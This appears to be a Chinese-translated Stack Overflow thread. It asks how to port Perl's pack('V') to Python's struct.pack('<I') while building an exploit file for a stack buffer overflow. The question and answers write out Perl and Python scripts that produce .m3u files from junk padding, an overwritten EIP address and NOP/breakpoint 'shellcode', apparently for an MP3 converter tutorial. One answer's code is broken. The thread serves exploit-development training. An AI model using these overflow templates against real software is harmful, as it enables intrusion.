【问题标题】:Perl's Pack('V') function in Python?Python 中 Perl 的 Pack('V') 函数?
【发布时间】:2023-04-06 08:53:01
【问题描述】:

我最近一直在进行一些漏洞利用开发以准备参加培训课程,但在教程方面遇到了问题。我一直在关注我能找到的所有教程,使用 Python 而不是教程使用的语言,出于偏好。我正在尝试交叉编码所有内容,但我不知道如何交叉编码 Perl 的 Pack() 函数。

TL;DR: 我正在尝试将其翻译成 python:

my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x000ff730);  

my $shellcode = "\x90" x 25; 

$shellcode = $shellcode."\xcc";
$shellcode = $shellcode."\x90" x 25; 

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE)print "m3u File Created successfully\n";

我找到了 Python 的 struct.pack() 函数,但是当我使用时

Fuzzed.write(struct.pack('V', 0x773D10A4))

,它会停止程序并且不起作用。我做错了什么?

这是我的全部源代码

import struct

Fuzzed = open('C:\Documents and Settings\Owner\Desktop\Fuzzed.m3u','w')
Fuzzed.write('A' * 26072)
string = str(struct.pack('V',0x773D10A4))
Fuzzed.write(string)
Fuzzed.write('C' * 3000)

【问题讨论】:

  • 您从哪里得到V 作为格式字符?那应该代表什么类型?将I 用于unsigned int(4 个字节)。

标签: python perl exploit pack shellcode


【解决方案1】:

尝试使用"L<" 包模板而不是"V"。这应该在 Perl 和 Python 中都有效。 NV 是旧的 Perl 指定字节序的方法,<> 是较新的方法。看起来当 Python 从 Perl 借用 pack 时,它只采用了更新、更灵活的接口。

编辑: Python 想要 < before 类型说明符,而 Perl 想要它after。不太兼容:(

【讨论】:

    【解决方案2】:

    Python 的struct.pack 将第一个字符用于endianess/size variation,然后将一个或多个字符用于data type。 Perl 的 V means 32bit unsigned int/little-endian。

    Python 类似物是struct.pack('<I', 0x773D10A4)

    【讨论】:

      【解决方案3】:

      我已经翻译成 python 并且我已经尝试过 MP3 转换器。这是你的答案:

      import sys
      file = "8.m3u"
      junk = "A"*26042
      eip = "\X3A\XF2\XB5\X01" //0x01B5F23A
      shellcode =" " 
      shellcode += "\x90"*25
      shellcode += "xcc"
      shellcode += "\x90"*25
      tmp = junk + eip + shellcode
      D = open(file, 'w')
      D.write(tmp)
      D.close()
      print "m3u File Created successfully\n"
      

      【讨论】:

        【解决方案4】:

        这正是您想要的。培训课程怎么样?

        import struct 
        
        file = 'crash.m3u'
        junk = b'\x41' * 26091
        eip = struct.pack('<I', 0x1d5f23a)
        preshellcode = b'\xcc' * 4
        shellcode = b'\x90' * 25 + b'\xcc'
        fp = open(file, 'wb')
        fp.write(junk + eip + preshellcode + shellcode)
        fp.close()
        
        import binascii
        print binascii.hexlify(open(file, 'rb').read())
        
        print 'm3u file is ready'
        

        【讨论】:

          【解决方案5】:

          我正在学习相同/相似的教程。对我来说完全有效的是尼克的回答。我还测试了在易受攻击的软件上创建的 m3u 文件。它确实有效,尽管我的 EIP 地址不同。我在 linux 机器上使用 python 3.7.5 运行它。这是修改后的代码:

          import struct
          
          Fuzzed = open('Fuzzed.m3u','wb')
          Fuzzed.write(b'A' * 26072)
          string = struct.pack('<I',0x773D10A4)
          Fuzzed.write(string)
          Fuzzed.write(b'C' * 3000)
          

          我们需要将所有内容转换为字节对象的原因是pack函数返回一个字节对象,我们不能将它与字符串连接。 str(struct.pack('

          string = b'\xA4' + b'\x10' + b'\x3D' + b'\x77' 
          

          【讨论】:

            猜你喜欢
            • 1970-01-01
            • 1970-01-01
            • 1970-01-01
            • 1970-01-01
            • 1970-01-01
            • 1970-01-01
            • 1970-01-01
            • 2012-03-20
            • 2011-09-17
            相关资源
            最近更新 更多